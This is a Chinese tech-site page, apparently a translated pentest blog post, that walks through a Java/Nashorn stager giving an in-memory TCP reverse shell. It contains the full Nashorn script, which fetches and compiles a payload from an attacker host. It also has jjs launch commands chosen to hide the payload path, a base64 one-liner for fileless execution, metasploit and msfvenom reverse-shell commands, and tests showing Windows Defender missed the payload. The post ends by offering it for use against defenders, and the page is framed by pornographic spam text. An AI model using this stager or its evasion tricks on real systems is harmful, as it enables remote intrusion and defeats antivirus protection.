91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Java傳輸器的特性及用法

發布時間:2021-08-30 11:10:32 來源:億速云 閱讀:219 作者:chen 欄目:編程語言

這篇文章主要講解了“Java傳輸器的特性及用法”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Java傳輸器的特性及用法”吧!

缺陷分析

我們重新分析一下傳輸器的目標及特性:

傳輸器是上傳到目標主機的一個執行文件或腳本。

傳輸器必須是正常代碼以躲避殺軟的粗暴分析。

傳輸器接著通過HTTP將實際payload下載到內存,這也是躲避殺軟策略的方法。

這種“躲入內存”的方法來源于James Williams發布在油管的視頻《英特網太熱》(~……~)。這段視頻被一家殺毒廠商以版權問題強制臨時下架,這使視頻一下火了。目前已有3萬2千的播放量,比第二名多了3萬。而第二名是一段今年BSides Manchester會議的視頻。

Nashorn Payload

我用牛逼的Nashorn引擎實現了一個和Java傳輸器一樣的TCP反彈SHELL。老版本可以在這里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:

    // 將這里改為攻擊者主機地址    
    var host = "http:///";
    // 通過HTTP加載NnClassLoader
    load(host + "NnClassLoader.js");   

    // 使用NnClassLoader下載Janino和Apache的jar包
    // Obtain these Jar files and stick them in your web root
    var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
    var P = L.type('org.codehaus.janino.SimpleCompiler');
    var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
   
    // 引入我們要用的對象
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var StringReader = Java.type("java.io.StringReader");
    var StringBuffer = Java.type("java.lang.StringBuffer");
    var Method = Java.type("java.lang.reflect.Method");
    var URL = Java.type("java.net.URL");
    var URLConnection = Java.type("java.net.URLConnection");

    // 將java傳輸器版的Payload.java文件放在攻擊者的web server上
      // 由這段代碼下載payload
    var payloadServer = new URL(host + "Payload.java");
    var yc = payloadServer.openConnection();
    var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));

    // 將代碼讀入內存中的字符串中
    var inputLine;
    var payloadCode = new StringBuffer();
    while ((inputLine = ins.readLine()) != null) {
       payloadCode.append(inputLine + "\n");
    }

    // 關閉輸入流
    ins.close();
    print("[*] Downloaded payload");

    // 用Janino編譯
    print("[*] Compiling ....");
    var compiler = new SimpleCompiler();
    compiler.cook(new StringReader(payloadCode.toString()));
    var compiled = compiler.getClassLoader().loadClass("Payload") ;

    // 通過反射機制執行run方法    print("[*] Executing ....");
    var runMeth = compiled.getMethod("Run");
    // 這種方式調用的是static型的run方法
    runMeth.invoke(null);    

    print("[*] Payload, payloading ....");

但愿注解能夠說清它的原理。大致過程是這樣:

下載NnClassLoader.js庫,它可以加載特定類。

下載必需的兩個java庫(janino,comons-compiler),內存編譯時需要它們。

下載payload并放入內存。

在內存中編譯。

用反射機制執行payload對象的run方法來觸發payload

就和前面文章的過程一模一樣。

準備攻擊者服務器

攻擊者的服務器根目錄下需要反之以下文件:

1. NnClassLoader

2. janino-3.0.8.jar

3. commons-compiler-3.0.8-jar

4. Payload.java

接著你可以啟動metasploit的multi/handler模塊并把payload設置為"generic/shell_reverse_tcp"。

攻擊目標主機

再次聲明:這里只是以研究為目的的攻擊。你要做的是將上述Nashorn代碼拷貝并粘入目標機器的文本編輯器,接下來你要做的是:

將Nashorn代碼的host設置攻擊者主機

保存js代碼入磁盤,例如取名為“revshell.js”

使用jjs的話可以有3中方法運行“revshell.js”:

方法一:

    # 作為jjs的參數執行
    jjs path/to/revshell.js

該方法的優點是so easy,但缺點在于當你打開Sysinternals的進程管理器時,你會看到它會暴露payload的路徑,這可不怎么好。

Java傳輸器的特性及用法

方法二:

    # 使用echo命令將標準輸入通過管道發給jjs接口
    echo load("path/to/revshell.js")|jjs

再次查看進程管理器我們發現不再有路徑信息暴露了。

Java傳輸器的特性及用法

方法三:

    # 在jjs交互態時輸入命令    
    jjs
    jjs> load("path/to/revshell.js")

這種方法的效果和第二種一樣。

全在內存里完成

上一步驟的過程不錯,但仍舊會保存一份文件在磁盤中。如果你想全部在內存中完成,可以這樣做:

上傳你的"revshell.js"到你的web server并使用"load()"

或者直接粘貼revshell的代碼到jjs的交互接口中去。

最后一步,是將你的payload用base64編碼,然后只粘貼一行命令到jjs中。在windows環境下,你還可以用powershell、certutil來進行base64編碼。當你有了base64版本的payload后,只要像下面這樣把它粘入"ENCODED_TEXT"部分就行:

    echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); |jjs

它將會在Oracle已經簽名過的jjs.exe的上下文中執行,同時也避免了輸入參數出現在windows進程管理器中。

好吧,有東西存到磁盤了^_^

Sysinternals的進程管理器的過濾功能我們發現:

Java傳輸器的特性及用法

我發現我們的jjs(在這里是pid 3504)創建了臨時文件:

Java傳輸器的特性及用法

這其實是NnClassLoader創建的,它們是janino和common-compiler包的副本。因為它們并非惡意代碼,所以能通過任何安全軟件的審查。以上就是我對上一版本的java傳輸器的改進。

匯總測試

首先是攻擊者啟動服務器并捕捉反彈回的shell:

Java傳輸器的特性及用法

如下是目標主機在執行echo base64(payload) | jjs后的結果:

Java傳輸器的特性及用法

Whoops!攻擊成功了!

嘗試觸發殺軟警報

java傳輸器和Nashorn例子中用的payload目前應該能躲過大多數殺軟的策略。原因如下:

它們大多數是存在于內存中,一個經典的躲藏位置

payload出自我手。任何時候最有效的逃逸殺軟辦法就是自己寫payload。如果目標主機的殺軟沒有特征碼來匹配你的payload,那你幾乎能為所欲為了。

正因如此,我想嘗試在開啟更新的Windows Defender中觸發警報。我把Defender設置在high級別,接下我們用Eicar測試來觸發警報。

加入Eicar

在我的目標虛擬機中,我用load()來獲取eicar語句拷貝:

Java傳輸器的特性及用法    

下載過程沒有毛病但卻無法執行,因為eicar語句并不是js語句。沒有報警,說明訪問掃描功能無法發現內存中的Eicar,同理我們藏payload的地方難以發現。<br>

為了觸發警報,我不得不用java把Eicar語句寫入磁盤,如下:

Java傳輸器的特性及用法

當執行到"fw.close()"的時刻Defender也觸發了警報。

最后一次測試

我做的最后一次測試時直接用msfvenom直接生成一個未編碼的payload,如下:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

然后我用load()下載它:

Java傳輸器的特性及用法

又一次Defender沒有報警但它卻執行失敗了,同樣因為它不是js文件。連msfvenom赤果果的payload都沒報警我不知道還有什么需要測試了。

好了,你可以用它了,一個可以擊敗藍軍的只需復制粘貼就能做很多事的“空中”文件。

感謝各位的閱讀,以上就是“Java傳輸器的特性及用法”的內容了,經過本文的學習后,相信大家對Java傳輸器的特性及用法這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

朔州市| 中阳县| 雷波县| 西藏| 金川县| 咸丰县| 宁海县| 渭南市| 镇江市| 石门县| 略阳县| 南安市| 青川县| 武安市| 沾化县| 双牌县| 岗巴县| 房产| 高清| 板桥市| 策勒县| 吉木萨尔县| 平和县| 唐山市| 深泽县| 桂平市| 金坛市| 睢宁县| 阿图什市| 疏勒县| 祁东县| 武城县| 绍兴县| 闻喜县| 临洮县| 潜江市| 铁岭市| 蓝山县| 荃湾区| 牡丹江市| 徐闻县|